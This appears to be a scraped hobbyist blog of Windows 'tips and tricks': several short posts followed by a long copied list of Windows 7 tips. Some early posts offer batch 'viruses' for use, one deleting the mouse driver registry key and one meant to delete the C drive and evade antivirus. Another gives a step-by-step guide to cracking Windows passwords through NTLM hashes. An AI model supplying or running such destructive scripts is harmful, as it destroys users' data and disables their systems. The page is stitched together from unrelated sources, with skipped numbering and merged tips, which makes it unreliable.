Showing posts with label internet tips & tricks. Show all posts
Showing posts with label internet tips & tricks. Show all posts
I had previously posted on making differentbatch files like matrix effect,opening no of websites with one click which were interesting and completely harmless but today we will be making a batch virus which is harmfull it will disable your mouseso think before trying it on yourself.
Open Notepad and copy below codes
rem --------------------------------- rem Disable Mouse set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" reg delete %key% reg add %key% /v Start /t REG_DWORD /d 4 rem ---------------------------------
Save this file as virus.bat
Done you just created your virus.
Today i will be showing you an interesting trick which will let yourkeyboard led light to dance. Basicly we will be creating a vbscript to make caps lock, num lock and scroll lock to perform this trick. So lets get started.
How to do that ?
1. OpenNotepad and copy below codes into it.
Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" wshshell.sendkeys "{NUMLOCK}" wshshell.sendkeys "{SCROLLLOCK}" loop
2. Then save this file as led.vbs (.vbs is must) 3. Open your save file and see your keyboard led blinking like disco lights.
How to disable blinking Led ?
1. First open Task Manager [ctrl+alt+del ] 2. Then Go to process tab. 3. Select wscript.exe 4. Click on End process.
Ever wanted to set cool videos as your computers Desktop Wallpaper, then you came to right place. Today in this post i will teach you how to set videosas your Desktop Wallpaper with a simple nice little trick and small tool or software that mostly every one hasinstalled on their computer or laptop. This trick works on Windows Xp as well as it works on windows 7. Go through below post to learn this simple trick.
How to set video as desktop wallpaper ?
1. Open VLC Media Player. If you don't have it download it frome Here. 2. Then Go to Tools > Preference Or press CTRL + P and Selecet Video from left panel 3. Then Choose DirectX video output from output dropdown list as shown in below image .
4. Save the changes ans restart VLC Media Player. 5. Play any video you would like to set as your desktop wallpaper. 6. Then click on Video and select DirectX Wallpaper from the dropdown list as show in below image.
7. Now Minimize vlc player and you will see your video running on your desktop as wallpaper. 8. If you want your default wallpaper back then uncheck DirectX Wallpaper from video dropdown list. 9. Hope you like this simple trick share your thought about this trick in comment section.
In my previous post i had teach you guys to create virus that disable mouse andVirus to format Hard Disk. In this post i will teach you to make simple yet very powerfull or you can say harmfullcomputer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.
What will this virus do ?
You will create this virus using batch fileprogramming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.
How to Make the virus ?
1. Open Notepad and copy below code into it.
@Echo off Del C:\ *.* |y
2. Save this file as virus.bat (Name can be anything but .bat is must) 3. Now, running this file willdelete all the content of C Drive.
Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.
In this small tutorial i will show you a smilpe windows trick. Basically you can not make folder with no name on windows. This trick will allow you to make folder without any name. This trick works on any windows operating system.
How To Make Nameless Folder
Before attempting this trick, try to make a folder with no name and you will fail to do so. This is what this trick will let you do. Below is screenshot of folder before and after doing this interesting trick.
Make a Newfolder on desktop or where ever you want.
Right click on this newly created folder and select Rename.
Erase the text showing "New Folder".
Now keep Pressing Alt (i.e alter key) and type 255. If you are on laptop then you need to enable your Num Lock and type from the highlighted number keys not from those below function keys.
After that leave alt key and Press enter.
Done you just created nameless folder.
There are some important files or document you want to hide from others on your computer. To do that you might be creating folder inside folder to hide such files but intodays tutorial i will change this by teaching you a interesting trick to hide files behind images.To hide a file behind a image means that if any one opens that image he will see the image, but to see the hidden file we need to open that image in a specific way. So lets get started.
How To Hide File Behind Image ?
In order to do this you should have basic understanding of command line, but if you don't know check out tutorial given below.
1. Select an image to be used for hiding file behind the image.
2. Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3. And most important is that paste both the files on desktop. You may do this anywhere instead of desktop if you have some basic understanding of command line.
4. Now open cmd by going to Start > Accessories> Command Promptand type following commands in it.
cd desktop
5. CD stands for change directory by typing above command you change your directory to desktop. After that type command given below.
Replace imagename.jpg with the name of image you want your file to be hidden behind. Don't forget to add image format (Eg: .jpg,.png,.gif)
Replace filename with name of your file you want to hide. It must be in .rar format.
Finally Replace finalimage.jpg with whatever name you want your final image with hidden files should be. This is the image where your file will be hidden.
6. Now when you will try to open this newly created image it will open as normal image, but to open you hidden file you need follow steps given below.
How To Access Hidden File ?
To access your hidden file you need to open the newly created image in winrar. Just follow simple steps given below to do that.
1. Open winrar
2. Now locate your image and open it or simply drag your image in winrar.
3. Extract the file and done.
In this tutorial you will learn cool and simple trick to Create an undeletable and unrenamable Folders In Windows operating system. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.
Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.
How To Create Undeletable And Unrenamable Folders ?
Go to Start and then Click on Run
Type cmd & hit enter (To open Command Prompt ).
Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
Type D: or E: and hit enter
Type md con\ and hit enter (md - make directory)
You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
Open that directory, you will see the folder created of name con.
Try to delete that folder or rename that folder windows will show the errormessage.
How to delete that folder ?
It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.
Open Command Prompt
Type D: ( if u created this type of folder in D: drive) & hit enter
Type rd con\ (rd - remove directory)
Open that directory and the folder will not appear because it is removed.
In this tutorial i will teach you to hackWindows 7 password using free open source software called ophcrack. This hack also works on Windows XP and Windows Vista. So let get started.
What Is Ophcrack ?
Opcrack is an open source windows password cracker based on rainbow tables. It comes with Graphical user interface(GUI) and runs on multiple platform such windows, linux and mac. It allows you to recover or hack windows password.
How To Crack Windows 7 Password Using Ophcrack ?
Before you start doing this you will need a blank CD or DVD to burn the live image of ophcrack.
1. Download Opcrack Live Cd by Clicking Here. Download windows xp or windows 7 live cd depending on platform you are wishing to hack. For example:
Windows 7 or Windows Vista: Click on ophcrack Vista/7 LiveCD.
Windows XP: Click on ophcrack XP LiveCD.
2. Now burn the live image on to the cd.
3. Insert the disc into drive and restart you computer.
4. If everything goes right you will see screen like below.
5. After you see screen like above wait for ophcrack to boot automatically or you may press Enter to advance.
6. Now you will see several lines of code printed on screen or they might disappear very quickly (you dont need to worry about that).
7. Then you will see screen like below it is ophcrack password recovering software. At the Ophcrack screen it shows the Administrator and Guest account. Notice the word“empty”. This means that if the account is enabled you could log in without a password.
8. OphcrackWILL NOT CRACK THE PASSWORD because the hash table which it needs is not available for free. But it does show the NTLM hash.
9. Copy this hash value which is under NT Hash field.
11. Type in the hash value you copied down in step 9, Enter the captche and click onCrack Hashes.
window 7 tips and tricks
Whether you've just bought a second-hand PC runningWindows 7 or you've been using it for a while, there are bound to be things you didn't know you could do.
Whether it's tweaks to get the desktop the way you want it, tips for troubleshooting or ways to squeeze more performance from Windows 7, we've got it covered.
We've updated our popular Windows 7 tips article with a load of new ones, including how to recover and reset your system, how to tweak your screen resolution and the legibility of text, play music on a network of PCs, and more.
Read on for over 90 tips to help you get the best from Windows 7.
1. Problem Steps Recorder
As the local PC guru you're probably very used to friends and family asking for help with their computer problems, yet having no idea how to clearly describe what's going on. It's frustrating, but Microsoft feels your pain, and Windows 7 will include an excellent new solution in the Problem Steps Recorder.
When any app starts misbehaving under Windows 7 then all your friends need do is click Start, type PSR and press Enter, then click Start Record. If they then work through whatever they're doing then the Problem Steps Recorder will record every click and keypress, take screen grabs, and package everything up into a single zipped MHTML file when they're finished, ready for emailing to you. It's quick, easy and effective, and will save you hours of troubleshooting time.
3. Create and mount VHD filesWindows 7 finally introduces a feature that other operating systems have had for years - the ability to burn ISO images to CDs or DVDs. And it couldn't be much easier to use. Just double-click the ISO image, choose the drive with the blank disc, click Burn and watch as your disc is created.
Microsoft's Virtual PC creates its virtual machine hard drives in VHD files, and Windows 7 can now mount these directly so you can access them in the host system. Click Start, type diskmgmt.msc and press Enter, then click Action > Attach VHD and choose the file you'd like to mount. It will then appear as a virtual drive in Explorer and can be accessed, copied or written just like any other drive.
Click Action > Create VHD and you can now create a new virtual drive of your own (right-click it, select Initialise Disk, and after it's set up right-click the unallocated space and select New Simple Volume to set this up). Again, you'll be left with a virtual drive that behaves just like any other, where you can drag and drop files, install programs, test partitioning software or do whatever you like. But it's actually just this VHD file on your real hard drive which you can easily back up or share with others. Right-click the disk (that's the left-hand label that says "Disk 2" or whatever) and select Detach VHD to remove it.
The command line DISKPART utility has also been upgraded with tools to detach a VHD file, and an EXPAND command to increase a virtual disk's maximum size. Don't play around with this unless you know what you're doing, though - it's all too easy to trash your system.
4. Troubleshoot problems
If some part of Windows 7 is behaving strangely, and you don't know why, then click Control Panel > Find and fix problems (or 'Troubleshooting') to access the new troubleshooting packs. These are simple wizards that will resolve common problems, check your settings, clean up your system and more.
5. Startup repair
If you've downloaded Windows 7 (and even if you haven't) it's a good idea to create a system repair disc straight away in case you run into problems booting the OS later on. Click Start > Maintenance > Create a System Repair Disc, and let Windows 7 build a bootable emergency disc. If the worst does happen then it could be the only way to get your PC running again.
6. Take control
Tired of the kids installing dubious software or running applications you'd rather they left alone? AppLocker is a new Windows 7 feature that ensures users can only run the programs you specify. Don't worry, that's easier to set up than it sounds: you can create a rule to allow everything signed by a particular publisher, so choose Microsoft, say, and that one rule will let you run all signed Microsoft applications. Launch GPEDIT.MSC and go to Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker to get a feel for how this works.
7. Calculate more
At first glance the Windows 7 calculator looks just like Vista's version, but explore the Mode menu and you'll see powerful new Statistics and Programmer views. And if you're clueless about bitwise manipulation, then try the Options menu instead. This offers many different unit conversions (length, weight, volume and more), date calculations (how many days between two dates?), and spreadsheet-type templates to help you calculate vehicle mileage, mortgage rates and more.
Don't take any Windows 7 applet at face value, then - there are some very powerful new features hidden in the background. Be sure to explore every option in all Windows applets to ensure you don't miss anything important.
8. Switch to a projector
Windows 7 now provides a standard way to switch your display from one monitor to another, or a projector - just press Win+P or run DisplaySwitch.exe and choose your preferred display. (This will have no effect if you've only one display connected.)
9. Get a power efficiency report
If you have a laptop, you can use the efficiency calculator to get Windows 7 to generate loads of useful information about its power consumption. Used in the right way, this can help you make huge gains in terms of battery life and performance. To do this you must open a command prompt as an administrator by typing 'cmd' in Start Search, and when the cmd icon appears, right-click it and choose Run as administrator.
Then at the command line, just type in 'powercfg -energy' (without quotes) and hit Return, and Windows 7 will scan your system looking for ways to improve power efficiency. It will then publish the results in an HTML file, usually in the System32 folder. Just follow the path it gives you to find your report.
10. Understanding System Restore
Using System Restore in previous versions of Windows has been something of a gamble. There's no way of telling which applications or drivers it might affect - you just have to try it and see.
Windows 7 is different. Right-click Computer, select Properties > System Protection > System Restore > Next, and choose the restore point you'd like to use. Click the new button to 'Scan for affected programs' and Windows will tell you which (if any) programs and drivers will be deleted or recovered by selecting this restore point. (Read our full Windows 7 System Restore tutorial.)
11. Set the time zone
System administrators will appreciate the new command line tzutil.exe utility, which lets you set a PC's time zone from scripts. If you wanted to set a PC to Greenwich Mean Time, for instance, you'd use the command
tzutil /s "gmt standard time"
The command "tzutil /g" displays the current time zone, "tzutil /l" lists all possible time zones, and "tzutil /?" displays details on how the command works.
12. Easily set screen resolution
Choosing a new screen resolution used to involve locating and browsing through the Display Properties applet. Windows 7 made this far simpler, though - just right-click an empty part of the desktop, select Screen Resolution and you'll immediately see the appropriate options.
13. Calibrate your screen
The colours you see on your screen will vary depending on your monitor, graphics cards settings, lighting and more, yet most people use the same default Windows colour profile. And that means a digital photo you think looks perfect might appear very poor to everybody else. Fortunately Windows 7 now provides a Display Colour Calibration Wizard that helps you properly set up your brightness, contrast and colour settings, and a ClearType tuner to ensure text is crisp and sharp. Click Start, type DCCW and press Enter to give it a try.
14. Clean up Live Essentials
Installing Windows Live Essentials will get you the new versions of Mail, Movie Maker, Photo Gallery and others - great. Unfortunately it also includes other components that may be unnecessary, but if you like to keep a clean system then these can be quickly removed.
If you left the default Set Your Search Provider option selected during installation, for instance, Windows Live will install Choice Guard, a tool to set your browser home page and search engine, and prevent other programs from changing them. If this causes problems later, or you just decide you don't need it, then Choice Guard may be removed by clicking Start, typing msiexec /x {F0E12BBA-AD66-4022-A453-A1C8A0C4D570} and pressing [Enter].
Windows Live Essentials also adds an ActiveX Control to help upload your files to Windows Live SkyDrive, as well as the Windows Live Sign-in Assistant, which makes it easier to manage and switch between multiple Windows Live accounts. If you're sure you'll never need either then remove them with the Control Panel Uninstall a Program applet.
15. Add network support
By default Windows Live MovieMaker won't let you import files over a network, but a quick Registry tweak will change this. Run REGEDIT, browse to HKEY_CURRENT_USER\Software\Microsoft\Windows Live\Movie Maker, add a DWORD value called AllowNetworkFiles and set it to 1 to add network support.
16. Activate XP mode
If you've got old but important software that no longer runs under Windows 7, then you could try using XP Mode, a virtual copy of XP that runs in a window on your Windows 7 desktop. This only works with Windows 7 Professional, Enterprise, or Ultimate. And your system will need to have hardware virtualisation (AMD-V or Intel VT) built in and turned on, too (check your Bios to make sure).
An alternative is to use VirtualBox, a free virtualisation tool that doesn't insist on hardware support, but you will need to find a licensed copy of XP (or whatever other Windows version your software requires) for its virtual machine.
17. Enable virtual Wi-Fi
Windows 7 includes a little-known new feature called Virtual Wi-Fi, which effectively turns your PC or laptop into a software-based router. Any other Wi-Fi-enabled devices within range - a desktop, laptop, an iPod perhaps - will see you as a new network and, once logged on, immediately be able to share your internet connection.
This will only work if your wireless adapter driver supports it, though, and not all do. Check with your adapter manufacturer and make sure you've installed the very latest drivers to give you the best chance.
Once you have driver support then the easiest approach is to get a network tool that can set up virtual Wi-Fi for you. Virtual Router (below) is free, easy to use and should have you sharing your internet connection very quickly.
If you don't mind working with the command line, though, maybe setting up some batch files or scripts, then it's not that difficult to set this up manually. See Turn your Windows 7 laptop into a wireless hotspot for more.
18. Recover locked-up apps
If an application locks up under a previous version of Windows then there was nothing you could do about it. A new Windows 7 option, however, can not only explain the problem, but may get your program working again without any loss of data.
When the lockup occurs, click Start, type RESMON and click the RESMON.EXE link to launch the Resource Monitor.
Find your frozen process in the CPU pane (it should be highlighted in red), right-click it and select Analyze Wait Chain.
If you see at least two processes in the list, then the lowest, at the end of the tree, is the one holding up your program. If it's not a vital Windows component, or anything else critical, then save any work in other open applications, check the box next to this process, click End Process, and your locked-up program will often spring back to life.
19. Fault-Tolerant Help
Windows 7 includes a new feature called the Fault Tolerant Help (FTH), a clever technology that looks out for unstable processes, detects those that may be crashing due to memory issues, and applies several real-time fixes to try and help. If these work, that's fine - if not, the fixes will be undone and they won't be applied to that process again.
While this is very good in theory, it can leave you confused as some applications crash, then start working (sometimes) for no apparent reason. So if you'd like to check if the FTH is running on your PC, launch REGEDIT, and go to HKEY_LOCAL_MACHINE\Software\Microsoft\FTH - any program currently being protected by the FTH will be listed in the State key.
Experienced users may also try tweaking the FTH settings to catch more problems, and perhaps improve system stability. A post on Microsoft's Ask The Performance Team blog (bit.ly/d1JStu) explains what the various FTH Registry keys mean.
20. Control devices and printers
Device Manager is a powerful tool for managing hardware, but it's also rather technical and intimidating, which is probably why Windows 7 has introduced a more basic alternative in the Devices and Printers applet.
The first improvement is purely visual, with lengthy and cryptic device names replaced by large icons for major hardware items only (monitor, mouse, hard drive, printer and so on).
The new applet can also save you time, though, by providing a quick and easy way to access relevant functions for each device. If you've got some printer-related issue, say, right-clicking your printer icon displays a list of useful options - See What's Printing, Printer Preferences, Printer Properties, Delete Printer Queue and more - and all you have to do is select whatever you need.
21. Automatically switch your default printer
Windows 7's location-aware printing allows the operating system to automatically switch your default printer as you move from one network to another.
To set this up, first click Start, type Devices, and click the Devices and Printers link.
Select a printer and click Manage Default Printers (this is only visible on a mobile device, like a laptop - you won't see it on a PC).
Choose the Change My Default Printer When I Change Networks option, select a network, the default printer you'd like to use, and click Add.
Repeat the process for other networks available, and pick a default printer for each one.
And now, as you connect to a new network, Windows 7 will check this list and set the default printer to the one that you've defined....
22. Explore God Mode
Windows 7 has changed Control Panel a little, but it's still too difficult to locate all the applets and options that you might need. God Mode, however, while not being particularly godlike, does offer an easier way to access everything you could want from a single folder.
To try this out, create a new folder and rename it to:
The first part, "Everything" will be the folder name, and can be whatever you want: "Super Control Panel", "Advanced", "God Mode" if you prefer.
The extension, ED7BA470-8E54-465E-825C-99712043E01C, must be entered exactly as it is here, though, including the curly brackets. When you press [Enter] this part of the name will disappear, and double-clicking the new folder will display shortcuts to functions in the Action Centre, the Network and Sharing Centre, Power options, troubleshooting tools, user accounts and others - more than 260 options in total.
23. Right-click everything
At first glance Windows 7 bears a striking resemblance to Vista, but there's an easy way to begin spotting the differences - just right-click things.
Right-click an empty part of the desktop, for instance, and you'll find a menu entry to set your screen resolution. No need to go browsing through the display settings any more.
Right-click the Explorer icon on the taskbar for speedy access to common system folders: Documents, Pictures, the Windows folder, and more.
And if you don't plan on using Internet Explorer then you probably won't want its icon permanently displayed on the taskbar. Right-click the icon, select 'Unpin this program from the taskbar', then go install Firefox, instead.
24. Display the old taskbar button context menu
Right-click a taskbar button, though, and you'll now see its jumplist menu. That's a useful new feature, but not much help if you want to access the minimise, maximise, or move options that used to be available. Fortunately there's an easy way to get the old context menu back - just hold down Shift as you right-click the taskbar button.
25. Desktop slideshow
Windows 7 comes with some very attractive new wallpapers, and it's not always easy to decide which one you like the best. So why not let choose a few, and let Windows display them all in a desktop slideshow? Right-click an empty part of the desktop, select Personalise > Desktop Background, then hold down Ctrl as you click on the images you like. Choose how often you'd like the images to be changed (anything from daily to once every 10 seconds), select Shuffle if you'd like the backgrounds to appear in a random order, then click Save Changes and enjoy the show.
26. RSS-powered wallpaper
And if a slideshow based on your standard wallpaper isn't enough, then you can always install a theme which extracts images from an RSS feed, and so ensures a regularly updated stream of top quality backgrounds (if you choose wisely, anyway). To see what's available, right-click an empty part of your desktop, select Personalise > Get more themes online, and click RSS Dynamic Themes in the left-hand list.
Another option is to produce an RSS-based feed of your very own. Long Zheng has created a few sample themes to illustrate how it works. Jamie Thompson takes this even further, with a theme that always displays the latest BBC news and weather on your desktop. And MakeUseOf have a quick and easy tutorial showing how RSS can get you those gorgeous Bing photographs as your wallpaper. Or you can watch our custom theme video tutorial.
27. Customise the log-on screen
Changing the Windows log-on screen used to involve some complicated and potentially dangerous hacks, but not any more - Windows 7 makes it easy.
First, browse to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background in REGEDIT, double-click the DWORD key called OEMBackground (not there? Create it) and set its value to 1.
Now find a background image you'd like to use. Make sure it's less than 256KB in size, and matches the aspect ratio of your screen as it'll be stretched to fit.
Next, copy that image into the %windir%\system32\oobe\info\backgrounds folder (create the info\backgrounds folders if they don't exist). Rename the image to backgroundDefault.jpg, reboot, and you should now have a custom log-on image.
Alternatively, use a free tweaking tool to handle everything for you. Logon Changer displays a preview so you can see how the log-on screen will look without rebooting, while the Logon Screen Rotator accepts multiple images and will display a different one every time you log on.
28. Disable Windows Features
Windows 7 enables you to remove many more Windows features than ever before: Internet Explorer, Media Player, Windows Search, its indexing service, Windows Gadgets and more. This is something that you need to do cautiously, if at all (since removing something like Media Player will break many programs which rely on it), but can be useful if you're looking to create a very simple, slimmed-down system.
Click Start, type OptionalFeatures and press Enter to launch the Windows Features dialog. Clear the checkbox to the left of any features that are surplus to requirements, and click OK to remove them.
29. Recover screen space
The new Windows 7 taskbar acts as one big quick launch toolbar that can hold whatever program shortcuts you like (just right-click one and select Pin To Taskbar). And that's fine, except it does consume a little more screen real estate than we'd like. Shrink it to a more manageable size by right-clicking the Start orb, then Properties > Taskbar > Use small icons > OK.
30. Make text easier to read
Equipping your PC with an ultra high resolution displays sounds like a great idea, but it can mean text becomes very small, and as a result some people manually reduce their screen resolution to compensate. Unfortunately this then introduces another problem: if you run LCDs below their native resolution then text (and other objects) will inevitably become fuzzy.
The solution? Leave your LCD at its maximum resolution, but scale text and other objects up so they become easier to read, while also remaining sharp. You could do this in Vista, but Windows 7 now makes the process even easier. Click Start, type "DPIScaling" and press Enter, select the size increase you need - 125% or 150% - then click Apply and restart to see the results.
31. Enjoy a retro taskbar
Windows 7 now combines taskbar buttons in a way that saves space, but also makes it more difficult to tell at a glance whether an icon represents a running application or a shortcut. If you prefer a more traditional approach, then right-click the taskbar, select Properties, and set Taskbar Buttons to Combine When Taskbar is Full. You'll now get a clear and separate button for each running application, making them much easier to identify.
32. Remove taskbar buttons
One problem with the previous tip is the buttons will gobble up valuable taskbar real estate, but you can reduce the impact of this by removing their text captions. Launch REGEDIT, browse to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics, add a string called MinWidth, set it to 54, and reboot to see the results.
33. Restore the Quick Launch Toolbar
If you're unhappy with the new taskbar, even after shrinking it, then it only takes a moment to restore the old Quick Launch Toolbar.
Right-click the taskbar, choose Toolbars > New Toolbar, type "%UserProfile%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch" (less the quotes) into the Folder box and click Select Folder.
Now right-click the taskbar, clear 'Lock the taskbar', and you should see the Quick Launch toolbar, probably to the right. Right-click its divider, clear Show Text and Show Title to minimise the space it takes up. Complete the job by right-clicking the bar and selecting View > Small Icons for the true retro look.
34. Custom power switch
By default, Windows 7 displays a plain text 'Shut down' button on the Start menu, but it only takes a moment to change this action to something else. If you reboot your PC a few times every day then that might make more sense as a default action: right-click the Start orb, select Properties and set the 'Power boot action' to 'Restart' to make it happen.
35. Auto arrange your desktop
If your Windows 7 desktop has icons scattered everywhere then you could right-click it and select View > Auto arrange, just as in Vista. But a simpler solution is just to press and hold down F5, and Windows will automatically arrange its icons for you.
36. Disable smart window arrangement
Windows 7 features interesting new ways to intelligently arrange your windows, so that (for example) if you drag a window to the top of the screen then it will maximise. We like the new system, but if you find it distracting then it's easily disabled. Run REGEDIT, go to HKEY_CURRENT_USER\Control Panel\Desktop, set WindowArrangementActive to 0, reboot, and your windows will behave just as they always did.
37. Browse your tasks
If you prefer the keyboard over the mouse, you will love browsing the taskbar using this nifty shortcut. Press Windows and T, and you move the focus to the left-most icon on the taskbar. Then use your arrow keys to change the focus to other icons, and you get a live preview of every window.
38. Display your drives
Click Computer in Windows 7 and you might see a strange lack of drives, but don't panic, it's just Microsoft trying to be helpful: drives like memory card readers are no longer displayed if they're empty. We think it's an improvement, but if you disagree then it's easy to get your empty drives back. Launch Explorer, click Tools > Folder Options > View and clear 'Hide empty drives in the computer folder'.
39. See more detail
The new and improved Windows 7 magnifier offers a much easier way to zoom in on any area of the screen. Launch it and you can now define a scale factor and docking position, and once activated it can track your keyboard focus around the screen. Press Tab as you move around a dialog box, say, and it'll automatically zoom in on the currently active control.
40. Extend your jumplists
By default a jumplist will display up to 10 items, but it can often be useful to extend this and add a few more. Right-click Start, select Properties > Customize and set Number of Recent Items to Display in Jump Lists to the figure you need.
41. Disable Aero Peek
Hover your mouse cursor over the bottom right hand corner of the screen and Windows 7 will hide open windows, showing you the desktop. Seems like a good idea to us, but if the feature gets in your way then it's easy to turn off. Simply right-click the Start orb, select Properties > Taskbar and clear the box marked Use Aero Peek to Preview the Desktop.
42. Pin a drive to the taskbar
The taskbar isn't just for apps and documents. With just a few seconds work you can pin drive icons there, too.
Right-click an empty part of the desktop, select New > Text File, and rename the file to drive.exe. Drag and drop this onto your taskbar, then delete the original file.
Right-click your new "drive.exe" taskbar button, then right-click its file name and select Properties. Change the contents of both the Target and Start In boxes to point at the drive or folder of your choice, perhaps click Change Icon to choose an appropriate drive icon, and you're done - that drive or folder is now available at a click.
43. Expand your taskbar previews
Move your mouse cursor over a Windows 7 taskbar button and you'll see a small preview of the application window. To make this larger, launch REGEDIT, browse to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband, right-click in the right hand pane and create a new DWORD value called MinThumbSizePx. Double-click this, choose the Decimal option, set the value to 350 and reboot to see the results. Tweak the value again to fine-tune the results, or delete it to return to the default thumbnail size.